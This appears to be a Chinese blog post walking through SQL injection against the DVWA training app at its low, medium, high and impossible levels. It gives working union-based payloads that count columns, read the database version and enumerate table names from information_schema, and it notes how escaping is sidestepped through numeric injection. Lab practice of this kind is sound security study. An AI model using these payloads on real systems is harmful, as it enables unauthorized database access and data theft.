dvwa-sql注入
1、低级别
查看服务端提示代码,字符型,未做任何保护。
假设不确定服务端情况,测试1’,报sql异常,
测试1″,正常查询与样本一致,分析是单引号字符型。
测试查询字段数
1' order by 2#
确定输出点
1' union select 1,2#
常用函数
1' union select version(),database()#
查询当前数据库的数据表
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#
2、中级别
查看服务端提示代码,使用mysqli_real_escape_string函数对id参数做了mysql敏感字符的检查,避免字符型注入
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
解决:对于中级别,id是数值型,可以不使用引号进行注入
注入过程可以使用burp,也可以直接基于浏览器修改选项的value进行提交,表单提交会对value进行url编码
1 order by 2
3、高级别
查看服务端提示代码,参数id是字符型,但是多了一个limit结构,没有使用mysqli_real_escape_string函数
解决:将参数之后的包括limit结构注释掉即可
1' order by 2#
4、不可能级别
查看服务端提示代码,参数id使用is_numberic函数进行检查判断是否为数值
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· PowerShell开发游戏 · 打蜜蜂
· 在鹅厂做java开发是什么体验
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战